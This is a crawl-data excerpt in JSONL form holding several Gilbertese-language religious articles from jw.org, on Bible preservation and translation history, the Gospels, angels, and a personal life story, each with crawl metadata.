1.0000100135803223}","num_words":1898,"character_repetition_ratio":0.063,"word_repetition_ratio":0.006,"special_characters_ratio":0.227,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KANGAANGA: A bati taani kairiri n te tautaeka ao mataniwin Aaro aika waakina aia waaki ni kaitaraa te rongorongo man te Baibara. A aki toki ni kabongana mwaakaia n tukiia iai aomata bwa a na aki karekei oin aia Baibara, a na aki karaoia, ke n raira te Baibara. Iangoi katoto aika uoua:\nTao n 167 B.C.E.: E tua Uean Seleucid ae Antiochus Epiphanes are kataia ni bitiia I-Iutaia nakon te Aro ni Kuriiti, bwa a na kamaunaaki katoton nako te Koroboki ae Tabu n te Taetae n Ebera. E korea ae kangai te tia korea rongorongon rimoa ae Heinrich Graetz: Ao ana tautia teuaei, \"a raeuai ao a kabueki taian nira ni boki ae te Tua kanoaia n te tai are a noria iai, ao a kamateia naake a noraki ni karekea kakorakoraaia ao kabebeteaia ni warekana.\"\nTe Tai ae Aranaki bwa te Middle Ages: A un tabeman taani kariri n te Aro ni Katorika irouia kaain te Aro ake a tataekina ana reirei te Baibara ao tiaki ana reirei te Katorika, a aranaki naakai bwa taani kaitaraa te Aro ake iai irouia bokin nako te Baibara ao tiaki tii Taian Areru n te taetae n Ratine. Te komete teuana n te Aro ni Katorika, e kamatoaa te tua n tuangia aia koraki ni mwaane bwa \"a na botumwaaka, a na kakaonimaki, ao a na katoatai n ukeriia taani kakaaitara aikai . . . a na tuoi auti ma ruu nako ake a kanamakinaki bwa a mena iai naakai . . . ao e na urubekeaki te auti are e kuneaki iai te tia kakaaitara.\"\nNgke arona bwa a tokanikai taan ribaa te Baibara ni kamauna, e na kamani mauna naba te rongorongo are iai.\nARON TE BAIBARA NI KAWAKINAKI: E kaatuua karaoan ana mwakuri ae okoro te Uea ae Antiochus i aon Iteraera, ma a a bon tia ni katei aia botaki aika uarereke I-Iutaia n aaba tabeua. A boni katautaua taan rabakau bwa n te moan tienture C.E. ao e raka i aon 60 te katebubua mwaitiia I-Iutaia aika maeka i tinanikun Iteraera. A kawakini katotoni Koroboki aika Tabu I-Iutaia n aia tinakoka nako, aika a kabonganaaki naba irouia rooro ake imwina riki ao Kristian.\nN te tai are aranaki bwa te Middle Ages ao a a ninikoria naake a tangira te Baibara i aani bwainikirinaia ao a teimatoa n rairi ao ni kaewei Koroboki aika Tabu. A a kaman tauraoi mwakoron te Baibara n taetae aika 33 imwain naba reken te bwai ni boreeti ae uouotaki i nukan te ka-15 n tienture. Imwin anne, e a rairaki te Baibara ao ni boreetiaki n te aro ae rangi ni baitii.\nMWINA: E ngae ngke a bati kangaanga mairouia ueea aika korakora ao mataniwin Aaro aika bureburea te aba, ma te Baibara bon te kabanea ni mwaiti n tia n tibwatibwaaki, ao te kabanea naba ni mwaiti ni boki n tia n rairaki mangkekei ni karokoa ngkai. E a tia ni bitii aia tua ma aia taetae aaba tabeua, ao maiuia naba aomata aika mirion ma mirion.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na4-2016-turai\/e-kawakinaki-te-baibara-man-te-kakaaitara\/","date":"2018-01-21T11:14:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890514.66\/warc\/CC-MAIN-20180121100252-20180121120252-00174.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":501,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko bae ni kukurei n reken te rongorongo ae raoiroi iroum. Ao bon iai te rongorongo ae rangi n raoiroi nakoim ao nakoia aika tangiraki iroum.\nE mena te rongorongo ae raoiroi aei n te Baibara, ae te boki ae baireia te tia Karika te iuniweeti ae Iehova ae te Atua, bwa e na koreaki n ririki aika bwakanako. N te boki aei ao ti na kaatuui iai bokin te Baibara aika aua, ae kanoaia te rongorongo ae rangi n raoiroi nakoira ni kabane. A ingoanaki n araia mwaane ake e kabonganaia te Atua bwa a na korei ake Mataio, Mareko, Ruka, ao Ioane.\nA bati aika a ararani rongorongo aikai bwa Euangkerio aika aua. A bane n taekina te euangkerio, ke te rongorongo ae raoiroi, ae taekan Iesu ae bon ana aomata te Atua ae e na karekea te kakamaiu, ao te Uea n ana Tautaeka n Uea te Atua. E na karokoi kakabwaia aika teimatoa Iesu nakoia akana onimakinna ni kabane.—Mareko 10:17, 30; 13:13.\nE AERA NGKAI AUA TE EUANGKERIO?\nKo bae n tia n iangoa ae e aera ngkai aua te rongorongo ae kaira koreana te Atua ni kaineti ma maiun Iesu ao ana reirei.\nE manena ngkai iai rongorongo aika maenako ni kaineti ma baike e taekin Iesu ao ni karaoi. Ibukini kabwarabwaraana, iangoia bwa a tei mwaane aika aman i rarikin te tia reirei ae rangi n tanoata taekana. Te mwaane ae tei i moan te tia reirei e bwaibwai n aobitin te taekiti. Teuare n te angaatai bon te taokita. Teuare ongora man te angamaing bon te tia akawa ao bon raoraon te tia reirei aei ae rangi ni kaan ma ngaia. Ao teuare te kaaman are i buki, bon te tia mamataku ae ataei riki nakoia ake tabemwaang. A bwabwaina te koaua mwaane aika aman aikai, ma a kakaokoro baike a kani kaatuui aia iango iai. Ngkana a korea aia rongorongo ni kaineti ma baike e taekin te tia reirei ao ana mwakuri, a na bae ni kakaokoro baike a kaatuui iai, ke rongorongoni baika riki. Ngkana ti iangoi euangkerio aika aua aikai, ao n uringnga bwa e kaokoro aia taratara ao bukini korean aia rongorongo taani koreia, ao ti kona ngkanne ni karekea te taamnei ae tabwanin raoi i aon ana reirei ao ana mwakuri te tia reirei arei. E kabwarabwaraaki ikai arora ni kona ni kabwaia n reken rongorongo aika maenako i aoni maiun te tia Reirei ae Kakannato ae Iesu.\nN reitakinakoan te kabwarabwara, e kan anaa nanoia I-Iutaia teuare te tia mwakuri n te taekiti, ngaia are e a botii taian reirei tabeua ke bwaai aika riki, n te aro ae a na kai ota riki iai aomata aika tiaki I-Iutaia. Teuare te taokita e katereterea kamarurungaia aoraki ke mwauku, ma e kamaunai bwaai tabeua ake e korei teuare te tia mwakuri n te taekiti ke e taekini n te aro ae a kaokoro teia. Teuare te rao ni kaan e katuruturui ana namakin te tia reirei ao aroarona. Teuare ataei riki e uarereke riki ana rongorongo ao e rangi ni mataata. Ma e ngae n anne, a bane n eti aia rongorongo mwaane aikai. E katereaki raoi ikai aron rongorongo aika aua aikai aika kaineti ma maiun Iesu, ni kona ni kaotaira raoi n ana mwakuri, n ana reirei, ao n aroarona.\nA kona aomata n taekina 'ana Euangkerio Mataio' ke 'ana Euangkerio Ioane.' E aki bure anne bwa kanoaia n tatabeua nako bon \"te rongorongo ae raoiroi ibukin Iesu Kristo.\" (Mareko 1:1) Ma n etina, bon tii teuana te euangkerio ke te rongorongo ae raoiroi ibukin Iesu, ao e reke te rongorongo ae tii teuana aei ni koroboki aika aua aikai.\nA bati taan reirei n ana Taeka te Atua ake a a tia ni kabotaui booki aika Mataio, Mareko, Ruka, ao Ioane, ake a noria bwa a bane ni boraoi rongorongo aika taekinaki iai. Tao n 170 C.E., ao e kakorakoraa ni karaoa anne te tia koro rongorongo ae te I-Turia ae Tatian. E noria bwa a bon eti booki aika aua aikai ao a kairaki koreaia iroun te Atua, ao e korea te Diatessaron, ae rongorongoni maiun Iesu ma ana mwakuri ni minita ae karinanaki raoi iai baike e karaoi.\nE karaoaki naba iai aekakin anne n te boki aei ae Iesu—Te Kawai, te Koaua, ao te Maiu, ma e eti riki ao e tabwanin raoi. E reke anne ibukina bwa ti a ota riki ngkai ni kakoroani bukin ana taetae ni burabeti Iesu aika bati ao ana kabotau. N otara aei ao a a kamatataaki iai bwaai ake e taekin ao e karaoi, ao te tai are a a riki baike a karakinaki iai. A buokira baike a kuneaki i aantano irouia taan rabakau bwa ti na ota riki ni bwaai tabeua ao n aia taratara taani korei rongorongo aikai. Ti aki kona n taekinna bwa ti ataa tain rikini bwaai ni kabane aika karakinaki, ma a kaotaki n te boki aei ae Iesu—Te Kawai, te Koaua, ao te Maiu, rongorongo aika riai aika boto i aon te rabakau.\nTE KAWAI, TE KOAUA, AO TE MAIU\nNgkai ko wareka te boki aei, kataia n ururinga aan te reirei ae kakawaki ibukim ma naake a tangiraki iroum. Uringa ngkoa are Iesu Kristo e tuanga te abotoro Toma ni kangai: \"Boni ngai te kawai ao te koaua ao te maiu. Akea ae e na nakon te Tama ma tii ane e rirou.\"—Ioane 14:6.\nTe boki ae Iesu—Te Kawai, te Koaua, ao te Maiu e na buokiko ni kaotako bwa n te aro raa ae Iesu bon \"te kawai.\" Bon tii rinanon teuaei ae e kona ni kawaraki iai Iehova ae te Atua n te tataro. Irarikin anne, Iesu bon te kawai ibukira bwa ti na raoiakinaki ma te Atua. (Ioane 16:23; I-Rom 5:8) Mangaia are bon tii rinanon Iesu ae e kona n reke iai reitakira ae raoiroi ma te Atua.\nIesu bon \"te koaua.\" E tataekina te koaua ao e maiuakinna naba, kaanga ai aron ae e rabwatanaki te koaua i nanon te aomata ae Iesu. E kakoroi bukin taetae ni burabeti, ao e a riki iai bwa \"te 'eng' rinanon teuaei.\" (2 I-Korinto 1:20; Ioane 1:14) A buokira taetae ni burabeti aikai bwa ti na nora oin tabena ni waakin ana kantaninga te Atua.—Te Kaotioti 19:10.\nAo Iesu Kristo bon \"te maiu.\" Rinanon te kaboomwi are e anga maiuna ae kororaoi ao raraana, e karaoira iai bwa ti na kona ni karekea \"te maiu ni koaua,\" ae taekan, \"te maiu are aki toki.\" (1 Timoteo 6:12, 19; I-Ebeto 1:7; 1 Ioane 1:7) E na riki naba bwa \"te maiu\" ibukia mirion ma mirion ake a a tia ni mate ma a na kautaki nakon te maiu ma kantaningaan te maiu n aki toki n te Bwaretaiti.—Ioane 5:28, 29.\nTi riai ni bane n ataa kakawakin taben Iesu n ana kantaninga te Atua. Ko bia kimwareirei n reiakina taekan riki Iesu ae \"te kawai ao te koaua ao te maiu.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/kawai-koaua-maiu\/","date":"2018-01-20T21:10:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889733.57\/warc\/CC-MAIN-20180120201828-20180120221828-00198.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1145,"character_repetition_ratio":0.069,"word_repetition_ratio":0.005,"special_characters_ratio":0.232,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"E a rai te uteute ae kiriin, ao e a mate te uee, ma e teimatoa n aki toki ana taeka Atuara.\"—ITA. 40:8.\n1, 2. (a) Tera aron te maiu ngke arona bwa akea te Baibara? (b) Tera ae buokira bwa ti na kakabwaiaaki man Ana Taeka te Atua?\nE NA tera aroni maium ngke arona bwa akea te Baibara? E na bon akea te taeka n reirei ae kona n onimakinaki ibukini kairani maium ni katoabong. Ko na aki atai kaeka aika karaunano ibukin titiraki ni kaineti ma te Atua, te maiu, ao te tai ae imwaira. Ao ko na aki ataa te bwai ae e karaoia Iehova nakoia aomata n taai ake rimoa.\n2 Ma ti kakaitau bwa e aki reke anne iroura. E a tia Iehova ni katauraoa ibukira ana Taeka ae te Baibara. Ao e berita bwa e na teimatoa n aki toki ana rongorongo. E mwanewea Itaia 40:8 te abotoro Betero. E ngae ngke e aki kaineti raoi te kibu anne nakon te Baibara, ma e kaineti nakon te rongorongo ae n te Baibara. (Wareka 1 Betero 1:24, 25.) Ni koauana, ti kona ni kakabwaiaaki riki man te Baibara ngkana e tauraoi n te taetae ae ti ota raoi iai. A a kaman ataa anne te koraki ake a tangira te Atua. E ngae ngke e aki bebete karaoana, ma i nanon tienture aika bati, a teimatoa naake a raoiroi nanoia n raira te Koroboki ae Tabu ao n tibwatibwaia. E boraoi nanoia anne ma nanon te Atua are kantaningaiia \"aeka n aomata nako bwa a na kamaiuaki, ma ni karekea te atatai ae eti ibukin te koaua.\"—1Tim. 2:3, 4.\n3. Tera ae ti na rinanona n te kaongora aei? (Nora te taamnei ni moan te kaongora aei.)\n3 N te kaongora aei, ti na nori katoto ibukin aron Ana Taeka te Atua n teimatoa n aki ongea (1) bibitakin te taetae, (2) bibitakin te waaki n tautaeka ae rotaki iai te taetae are kakabonganaaki riki, ao (3) totokoan rairakin te Baibara. Ti na kangaa ni kakabwaiaaki man te maroro aei? E na kakorakoraa riki ara kakaitau ibukin Ana Taeka te Atua. E na kakorakoraa riki naba iroura tangiran te tia Korea te Baibara are e katauraoia ibukini kabwaiara.—Mika 4:2; IRom 15:4.\nBIBITAKIN TE TAETAE\n4. (a) A kangaa ni bitaki taian taetae ni waakinakon te tai? (b) Tera ae kaotia bwa e aki inanonano Atuara ni kaineti ma te taetae, ao tera aron rotakim iai?\n4 Ni waakinakon te tai ao a bibitaki taian taetae. A kona taeka ke kibuntaeka tabeua ni manga kaokoro nanoia imwina riki ma are n te moantai. Tao ko kona n iangoi katoto tabeua ni bitakin naba am taetae. Anne naba aron te taetae n Ebera ao ni Kuriiti, ake e moani koreaki iai te Baibara. Te taetae n Ebera ao ni Kuriiti n taai aikai e a kaokoro ma te taetae are kabonganaaki n taai ake a karakinaki n te Baibara. Ngaia are angia aomata a kainnanoa rairan Ana Taeka te Atua bwa a aonga n ota iai. A kainnanoa naba anne naake a rabakau te taetae n Ebera ke ni Kuriiti ae kakabonganaaki n taai aikai. A iangoia tabeman bwa a riai n reiakina te taetae n Ebera ao ni Kuriiti nikawai bwa a aonga ni kona ni wareka te Baibara n taetae ake a moani koreaki iai. Ma e kona n aki manena aia iango anne. * Ma ti kakaitau bwa e a tia n rairaki te Baibara ke mwakorona tabeua nakon taetae aika raka i aon 3,200. E teretere bwa e tangiriia aomata Iehova man \"natannaomata nako ao baronga ao taian taetae\" bwa a na karekea kakabwaiaaia man ana Taeka. (Wareka Te Kaotioti 14:6.) Ko aki ngkanne kani kaania riki Atuara ae tatangira ao n aki inanonano?—Mwa. 10:34.\n5. E aera ngkai e rangi ni kakawaki te Baibara ae te King James Version?\n5 Ni waakinakon te tai, a boni bitaki naba taian taetae ake e rairaki iai te Baibara. Te rairai n te Baibara ae kai ota te aba iai ngke e moani karaoaki, e a kona n rikirake n aki ota rimwi riki. Iangoa te katoto ni kaineti ma te rairai n te Baibara teuana n te taetae n Ingiriti. E moani katauraoaki te King James Version n 1611. Bon teuana i buakon rairai n te Baibara n te taetae n Ingiriti ae rangi ni kakabonganaaki, ao e rangi n ibuobuoki naba nakon te taetae n Ingiriti. * E ngae n anne, e kaota aran te Atua tii tabeua te tai te King James Version. E kamanena te ara ae \"Iehova\" ni kiibu tabeua, ao e kamanena te taeka ae \"TE UEA\" ae bubura manna n te Koroboki ae Tabu n te Taetae n Ebera ni kiibu ake a moani koreaki iai aran te Atua. Katotona ake a boreetiaki imwina riki a kabongana naba te taeka ae \"TE UEA\" ae bubura manna ni kiibu tabeua n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti. N te aro anne, e kaotaki raoi nnen aran te Atua ae riai n te King James Version n iterana are aranaki bwa te Nuu Tetemanti.\n6. E aera ngkai ti kakaitau ibukin te Rairai ae te Aonnaba ae Boou?\n6 E ngae n anne, a a moanna n aki ataaki nanon angiin taeka n te King James Version imwin ririki aika bati. E riki naba anne n taian rairai n te Baibara rimoa n taetae ake tabeua. Tiaki bwa ti kakaitau n te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou ae kabonganaaki iai te taetae n taai aikai? E a tauraoi te rairai n te Baibara aei ae bwanin ke mwakorona n taetae aika raka i aon 150, ibukia angia aomata ni boong aikai. E a kona n rotii nanora te rongorongo ae n Ana Taeka te Atua ibukin taeka aika mataata iai. (TaiAre. 119:97) Ao ae kakawaki naba bwa te Rairai ae te Aonnaba ae Boou e kaoka aran te Atua nakoni nnena ae riai n te Koroboki ae Tabu.\nTE TAETAE AE KAKABONGANAAKI RIKI\n7, 8. (a) E aera ngkai a bati I-Iutaia n te katenua n tienture B.C.E. ake a aikoa ota n te Koroboki ae Tabu n te Taetae n Ebera? (b) Tera te Greek Septuagint?\n7 N tabetai ao bibitakin te waaki n tautaeka e rotaki naba iai te taetae are kakabonganaaki riki n te tai teuana ma teuana. E kangaa n taraia raoi te Atua bwa e na aki rotaki ana Taeka ni bitaki akanne, ao a na aki ota iai aomata? E na buokira ni kaekaa anne te katoto teuana rimoa. A koreaki moani bokin te Baibara ake 39 irouia tibun Iteraera ke I-Iutaia. Boni ngaiia ake a moani \"mwiokoaki n te rongorongo mairoun te Atua.\" (IRom 3:1, 2) Ma n te katenua n tienture B.C.E., a bati I-Iutaia ake a aikoa ota n te taetae n Ebera. Bukin tera? Ngke e kataenikai angiin aaba n te aonnaba Alexander te Kakannato, ao e a raababanako te Embwaea ni Kuriiti. (Tan. 8:5-7, 20, 21) Ngke e a butanako te embwaea aei, e a riki te taetae ni Kuriiti bwa te taetae ae kakabonganaaki riki irouia aomata ake a mena i aana, n ikotaki ma I-Iutaia aika uamaenako. Ma ngkai a bati I-Iutaia ake a kabongana te taetae ni Kuriiti, e a moanna ni kangaanga te ota n te Koroboki ae Tabu n te Taetae n Ebera irouia angia aomata. E kangaa ni kanakoraoaki aei?\n8 Tao n nukan te katenua n te tienture B.C.E., e a rairaki moani bokin te Baibara ake nimaua man te taetae n Ebera nakon te taetae ni Kuriiti. Imwina riki, a a rairaki nikirani booki n te Koroboki ae Tabu n te Taetae n Ebera n te kauoua n tienture B.C.E. E a ataaki te rairai aei bwa te Greek Septuagint. E ataaki te Septuagint bwa te moan rairai i aon te Koroboki ae Tabu n te Taetae n Ebera ae bwanin.\n9. (a) E kangaa te Septuagint ao rairai ake rimoa ni buokiia taani wareka Ana Taeka te Atua? (b) Tera am kibu ae ko tatangiria n te Koroboki ae Tabu n te Taetae n Ebera?\n9 E ibuobuoki te Septuagint bwa a a kona iai I-Iutaia ao tabeman riki ake a kabongana te taetae ni Kuriiti ni wareka te Koroboki ae Tabu n te Taetae n Ebera. Iangoa kukureia ngkai a a kona n ongoraea ao ni wareka Ana Taeka te Atua n oin aia taetae! Imwina riki, a a rairaki mwakoron te Baibara nakon taetae aika kakabonganaaki riki n aron te Syriac, Gothic, ao Latin. Ngkana a wareka te Koroboki ae Tabu taani wareware n te taetae are a ota iai, a boni bae ni bati aika reke aia kibu ae a tatangiria, n arora ni boong aikai. (Wareka Taian Areru 119:162-165.) Ni koauana, e bon teimatoa Ana Taeka te Atua n aki ongea bibitakin te taetae are kakabonganaaki riki.\nTOTOKOAN RAIRAN TE BAIBARA\n10. E aera ngkai akea aia Baibara angia aomata n ana tai John Wycliffe?\n10 N tabetai, ao taani kairiri aika korakora mwaakaia a kataia n tukiia aomata aika mangori mani warekan te Baibara. Ma iai aomata aika raoiroi nanoia ake a tei ni kaitaraa te totoko anne. N te katoto, iangoa te tia rabakau i aon te Aro n te ka-4 n tienture ae John Wycliffe. E kakoauaa raoi teuaei bwa a riai aomata nako ni karekea kakabwaiaaia man Ana Taeka te Atua. Ma n te tai are e maiu iai, e bon aki kona n reke aia Baibara aomata aika mangori i Engiran. Bukin tera? Teuana bukina bwa angiina a aki kona ni kabooa bwa e rangi ni bobuaka, ibukina bwa a kaeweaki n te bai katotona ao e bobuaka karaoana. Irarikina, angia aomata a babanga ni wareware. Tao a a tia n ongongo kiibu ake a warekaki n tain te taromauri. Ma a boni bae n aki ota iai. Bukin tera? Ibukina bwa e koreaki n te taetae n Ratine te Baibara (te Vulgate) are kabonganaaki n te Aro. Ao i nanon te tai ae aranaki bwa te Middle Ages, te taetae n Ratine bon te taetae ae aki kabonganaaki irouia aomata aika mangori! E na kangaa ni kaotaki nakoia rongorongo aika kakawaki man te Baibara?—TaeRab. 2:1-5.\n11. Tera aron rotakia aomata n te Baibara ae te Wycliffe Bible?\n11 N 1382, e a katauraoaki te Baibara ae rairaki n te Taetae n Ingiriti ae e a ataaki imwina n arana ae te Wycliffe Bible. E rangi ni kakabonganaaki te Baibara aei irouia taan rimwin Wycliffe aika aranaki bwa taian Lollards. A tangiria naakai bwa e na rotii aia iango ao nanoia aomata aika mangori Ana Taeka te Atua, ngaia are a ririanna n uarongorongo n te kaawa teuana ma teuana ni kabutaa Engiran. A wawareki kiibu taian Lollards man te Wycliffe Bible nakoia aomata ake a boo ma ngaiia, ao a anganako katoton te Baibara ake a kaewei ni baia. E korakora te bitaki ae reke man aia kakorakora, bwa e a manga ueke tangiran Ana Taeka te Atua irouia aomata.\n12. Tera aroia mataniwi n Aaro nakoni Wycliffe ma ana mwakuri?\n12 Tera aroia mataniwi n Aaro? A kaota ribaakin Wycliffe ma ana Baibara ao taan rimwina. A bwainikirinia taian Lollards mataniwi n Aaro, ao a kakaaei ma ni kamaunai katoton te Wycliffe Bible aika bati ake a kona n reke irouia. E ngae ngke e a tia ni mate Wycliffe, ma a katanoataa teuaei bwa bon te tia kaitaraa te Aro. Ni koauana, e a aki kona ni katuuaaeaki te aomata ae e a tia ni mate. Ma a bon tua mataniwi n Aaro bwa e na kenaki riin Wycliffe ma ni kabuekaki, ao e karenakoaki mannangina n te karaanga ae te Swift. Ma e aki kona te Aro n tuka rikiraken Ana Taeka te Atua i buakoia naake a kani warekia ao n ota iai. N tienture ake imwina, a bati aomata i Eurobe ao n taabo riki tabeua n te aonnaba ake a a moana rairan te Baibara ao tibwatibwaakina, ibukini kakabwaiaaia aomata aika mangori.\n\"TEUARE REIREINIKO BWA KO AONGA NI KABWAIA\"\n13. Tera ae ti kakoauaa raoi, ao e aera ngkai e kakorakoraaki iai ara onimaki?\n13 E kairaki korean te Baibara iroun te Atua. Ma tiaki nanona bwa anne ae riki naba n rairakin te Septuagint, te Wycliffe Bible, te King James Version, ke rairai riki tabeua. E ngae n anne, ngkana ti iangoi rongorongoni Baibara aikai ao rairai aika bati riki ake a a tia ni boreetiaki, e a boutokaaki raoi iai koauan aei: E bon teimatoa Ana Taeka Iehova n aron are e beritanna. E aki ngkanne kakorakoraaki am onimaki bwa a na boni koro bukin ana berita nako Iehova?—Iot. 23:14.\n14. E kangaa ni kakorakoraaki tangiran Ana Taeka te Atua iroura?\n14 Irarikini kakorakoraan ara onimaki, e kakorakoraa naba tangiran Iehova iroura, noran aron te Baibara n teimatoa i nanon ririki aika bati. * Bukin tera ngke e katauraoa ana Taeka n te moantai? Ao e aera ngkai e beritanna bwa e na teimatoa? Ibukina bwa e tangirira ao e kan reireinira arora ae ti na kabwaia iai. (Wareka Itaia 48:17, 18.) Ti bon riai ni kairaki bwa ti na kabooa mwin ana tangira Iehova n arora n tangiria naba ao n ongeaba n ana tua.—1Ioa. 4:19; 5:3.\n15. Tera ae ti na rinanona n te kaongora are imwina?\n15 Ni koauana, ibukina bwa ti kakaitau n Ana Taeka te Atua, ti na boni kani karekea kakabwaiaara raoi mai iai. Ti na kangaa ni karekei kakabwaiaara man ara wareware n te Baibara? Tera ae kona ni buokira ni kairiia aomata nakon te Baibara n ara mwakuri ni minita? A na kangaa naake a kabwarabwara mai moa ni kabotoi aia angareirei i aon te Koroboki ae Tabu? Ti na nori kaekaan titiraki aikai n te kaongora are imwina.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-tebetembwa-2017\/teimatoa-n-aki-toki-ana-taeka-atuara\/","date":"2018-01-16T10:01:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00449.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2251,"character_repetition_ratio":0.085,"word_repetition_ratio":0.003,"special_characters_ratio":0.234,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki taekinaki n te Baibara ae a toa aomata nako ma aia anera ae kakawakinia. Ma e boni kangai ngkoa Iesu: \"Tataraingkami bwa kam na aki ribaa temanna mai buakoia aika uarereke aikai [taan rimwini Kristo], bwa I tuangingkami bwa a aki toki aia anera i karawa n tei i matan Tamau are i karawa.\" (Mataio 18:10) Ma n oneani mwin are e na taekinaki bwa a toa aomata ma aia anera ae kakawakinia, e bon tii taekinna Iesu bwa anera a rangi n tabeakinia taan rimwini Kristo n tatabemania. Ngaia are a kawanawanaia taan taromauri ni koaua ao a taratara raoi, kioina ngkai a aki kantaningaia ae a na kamanoaki irouia ana anera te Atua.\nNanon anne bwa a aki buobuokiia aomata anera? Tiaki ngaia anne. (Taian Areru 91:11) A kakoauaa raoi tabeman bwa e katauraoiia ana anera te Atua bwa a na kakawakinia aomata ao ni kaiririia. Kenneth are taekinaki n te moani kaongora, e boni kakoauaa naba anne. E ngae ngke ti aki kona n imanonoia bwa antai ae eti, ma e boni kona naba n eti teuaei. A nonora kakoauaan aia ibuobuoki anera Ana Tia Kakoaua Iehova n aia uarongorongo. Ma ibukina bwa a aki kona n noraki anera, ti aki kona n taekina raoi aron te Atua ni kabonganaia anera ni buoka temanna ma temanna ni baika a kakaokoro. Ma e aki kairua kaitauan te Atua ae Moan te mwaaka n ana boutoka are e a tia n anganira.—I-Korote 3:15; Iakobo 1:17, 18.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na5-2017-tebetembwa\/te-anera-ae-kakawakiniko\/","date":"2018-01-21T01:37:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889798.67\/warc\/CC-MAIN-20180121001412-20180121021412-00237.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":244,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"E riribaaki ao a rarawa nakoina aomata . . Ti iangoia bwa e karekeaki kaina, e oreaki, ao e karawawataaki iroun te Atua\"\nE riribaaki Iesu ao e bukinaki bwa e bakannatua. A kakoauaa tabeman bwa e katuuaaea te Atua, kaanga aron ae e karekea kaina n te aoraki ae bati n ribaaki\n\"Bon nanon Iehova bwa e na korakora karawawataana, . . . ao e na kororaoi kimwareirein Iehova rinanon teuaei\"\nTi aki nanououa bwa e bon rotakibuaka Iehova ngke e nora Natina ni kamateaki. Ma e kimwareirei n nora Iesu ni kakaonimaki n te aro ae kororaoi. Ni maten Iesu, e a kaota kewen ana kabuakaka Tatan ni kaineti ma kakaonimakia ni koaua ana toro te Atua, ao e uotii naba kakabwaia nakoia aomata aika rairi nanoia. E a buoka iai kakororaoan \"nanon Iehova\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/beberuare-2017-mwb\/kaetieti-n-te-botaki-beb13-19\/karawawataaki-kristo-ibukira\/","date":"2018-01-23T04:49:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00084.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":131,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkana a maraa aomata ao a tangiria n taua te bwai teuana. I aki kona ni karaoa anne bwa akea baiu ma anganibaiu. Itiua au ririki ngke a koreaki anganibaiu ibukini kamanoani maiuu.\nBon 17 ana ririki tinau ngke I bungiaki n 1960. E kitanira tamau imwaini bungiakiu. I mamaeka ma tinau irouia tibuu i Burg, ae te kaawa ae uarereke n ana tai ngkoa te German Democratic Republic, ke i Tiaman Mainiku. A bati aomata aika kakoauaa ae akea te Atua, ao anne naba aia koaua au utu. Ti aki kakoauaa te Atua.\nI nanon ikawairakeu ao I kan irira tibuu te unimwaane. E kairirai ni karaoani baika bati, n aron ae e katamwarakeai n taian aroka bwa N na korei mwaangaia n te tao. Ngke I uarereke ao I tatangiri aeka ni waaki akana kaunga ma ni karuanikai akanne. Akea te kangaanga ni maiuu ao e kakukurei.\nE A BITAKI MAIUU N TE KABUANIBWAI\nN te bong teuana ngke ai itiua au ririki, ao akea bwa e a riki te bwai ae rangi ni kakamaaku. I a tibwa moana au kauoua n ririki n te reirei. I aoni kawaiu n okira mwengau ngke I a tii tamwarakea naba te boua ae tiki iai uaean te iti. Ngke I a roko n te rieta ae 25 te buuti (8 te mita), ao I a tiaoki naba ao n aki namakinaaba. Ngke I a uti n te onnaoraki ao I aikoa namakini anganibaiu. A rangi ni korakora buen anganibaiu ao a ikoaki kakaiaki, ngaia are a a koreaki ni kauaai 